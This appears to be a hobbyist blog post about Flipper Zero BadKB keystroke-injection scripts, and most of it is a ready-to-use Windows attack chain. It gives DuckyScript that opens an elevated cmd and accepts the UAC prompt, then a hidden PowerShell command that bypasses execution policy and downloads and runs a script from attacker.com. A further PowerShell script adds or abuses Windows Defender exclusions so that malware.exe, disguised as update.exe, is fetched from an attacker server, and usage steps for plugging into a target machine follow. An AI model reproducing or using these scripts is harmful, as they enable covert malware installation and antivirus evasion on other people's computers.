For my birthday, my friends gifted me a Flipper Zero. Let me tell you, this thing is as useless as it is fun to use.
The easy-to-use interface, the installed modules and apps—everything seems to work as intended.
I’ve had my fair share of fun with this device, and I still do.

It has also helped me with some IR projects, making it a great tool for troubleshooting and debugging.


What is BadKB#

Using the Momentum Firmware, I have access to the BadKB app. It works by simulating a Human Interface Device, effectively mimicking a keyboard and mouse combo.

By writing and executing scripts on the Flipper Zero, one can run system commands or perform various operations on a computer—just as one would with a normal keyboard and mouse, but at a much faster pace.

For a list of available commands, the documentation can be found here.


Goals#

  • Gain an admin terminal (assuming the current user is a local admin).
  • Execute commands to evade antivirus detection and ensure our payload/backdoor/malware runs undetected.
  • Minimize the number of lines in our script.
  • Hide all operations until execution is complete.

Getting an Admin Terminal#

The best way to spawn a terminal is by running cmd.exe via the “Run” window (Windows + R), then pressing CTRL + SHIFT + ENTER to execute it as admin.

Note: Instead of running the PowerShell payload inside cmd, one could execute PowerShell directly. However, in my experience, PowerShell can be extremely slow to initialize on some systems, delaying command execution. To avoid such delays, I prefer executing PowerShell payloads via cmd.exe.

When the UAC prompt appears, we can confirm execution by pressing the left arrow key followed by Enter, unless the user needs to authenticate with an admin password, in which case our script would fail.

To work around this, we could run cmd or powershell as the current user instead, by replacing CTRL + SHIFT + ENTER with just ENTER.


Script to open the “Run” dialog and execute cmd.exe as admin:

REM --- Open the Run dialog with Windows + R
GUI R

REM --- Type "cmd.exe"
STRING cmd.exe

REM --- Decrease global delay between commands
DEFAULT_DELAY 100

REM --- Press CTRL + SHIFT + ENTER
HOLD CTRL-SHIFT
ENTER
RELEASE CTRL-SHIFT

REM --- Wait for the UAC prompt
DELAY 1500

REM --- Select "Yes" and confirm with Enter
LEFTARROW
ENTER

Explanation of commands:

  • REM: Comment
  • GUI: Windows key
  • STRING: Types the specified text
  • DEFAULT_DELAY: Sets a global delay between commands
  • HOLD: Holds specified keys
  • ENTER: Presses Enter
  • RELEASE: Releases previously held keys
  • DELAY: Pauses execution for a set time
  • LEFTARROW: Presses the left arrow key

Payload Preparation#

Before executing any payload, we should ensure the terminal closes when done. Since we’re using cmd.exe, we can append & exit to our payload:

powershell.exe "<PAYLOAD>" & exit

To add an acoustic cue indicating the payload has finished execution, we can use PowerShell’s [console]::beep function. More details here.

[console]::beep(10000,50)

Script to run the payload:

STRINGLN powershell -ExE Bypass -Win hidden -C "<PAYLOAD>; [console]::beep(10000,50)" & exit

Breakdown:

  • STRINGLN: Like STRING, but presses Enter automatically after writing the string.
  • -ExE Bypass: Short for -ExecutionPolicy Bypass, meaning nothing is blocked, and no warnings appear.
  • -Win hidden: Runs PowerShell in a hidden window.
  • -C: Executes the specified command.

Bypassing Antivirus#

If we are dropping malware, we must avoid Windows Defender flagging it. Since we’re running with admin privileges, we can tell Windows Defender to ignore specific folders.

We can also check if any existing exclusions contain writable paths and use them to drop our malware.

Downloading and executing a PowerShell script in memory is simple using Invoke-WebRequest and Invoke-Expression:

iex (iwr 'URL_TO_THE_PAYLOAD').Content

Checking and Using Windows Defender Exclusions:

$exclusions = (Get-MpPreference).ExclusionPath

If no exclusions exist, we create one and download the malware there:

if ($exclusions.Count -eq 0) {
    Add-MpPreference -ExclusionPath "C:\Temp\"
    iwr $URL -OutFile "C:\Temp\malware.exe"
} else {
    foreach ($path in $exclusions) {
        if (Test-Path $path -PathType Container) {
            $writable = (Get-Acl $path).Access | Where-Object {
                ($_.FileSystemRights -match "Write" -or $_.FileSystemRights -match "FullControl") -and $_.AccessControlType -eq "Allow"
            }
            if ($writable) {
                $NEWPATH = $path + "\malware.exe"
                iwr $URL -OutFile $NEWPATH
                break
            }
        }
    }
}

Complete BadKB Script:

REM Written by @JackRendor
DEFAULT_DELAY 500
GUI R
STRING cmd.exe

REM --- Run cmd.exe as administrator ---
DEFAULT_DELAY 100
HOLD CTRL-SHIFT
ENTER
RELEASE CTRL-SHIFT
DELAY 1500
LEFTARROW
ENTER
REM --- Admin terminal obtained ---

DEFAULT_DELAY 100
REM --- Execute payload ---
STRINGLN powershell -ExE Bypass -Win hidden -C "iex (iwr 'https://attacker.com/script.ps1').Content; [console]::beep(10000,50)" & exit

PowerShell Script:

$URL = "http://attackerserver/malware.exe"
$NEWPATH = "C:\Temp\update.exe"

$exclusions = (Get-MpPreference).ExclusionPath
if ($exclusions.Count -eq 0) {
    Add-MpPreference -ExclusionPath "C:\Temp\"
    iwr $URL -OutFile $NEWPATH
} else {
    foreach ($path in $exclusions) {
        if (Test-Path $path -PathType Container) {
            $writable = (Get-Acl $path).Access | Where-Object {
                ($_.FileSystemRights -match "Write" -or $_.FileSystemRights -match "FullControl") -and $_.AccessControlType -eq "Allow"
            }
            if ($writable) {
                $NEWPATH = $path + "\update.exe"
                iwr $URL -OutFile $NEWPATH
                break
            }
        }
    }
}

Usage:#

  • Edit the BadKB script to point to your PowerShell script URL.
  • Configure the correct keyboard layout on the Flipper Zero (ConfigKeyboard Layout).
  • Run the payload on the Flipper Zero.
  • Plug the Flipper Zero into the target machine (via USB or Bluetooth).
  • Unplug it as soon as the terminal disappears/minimizes, indicating execution has started.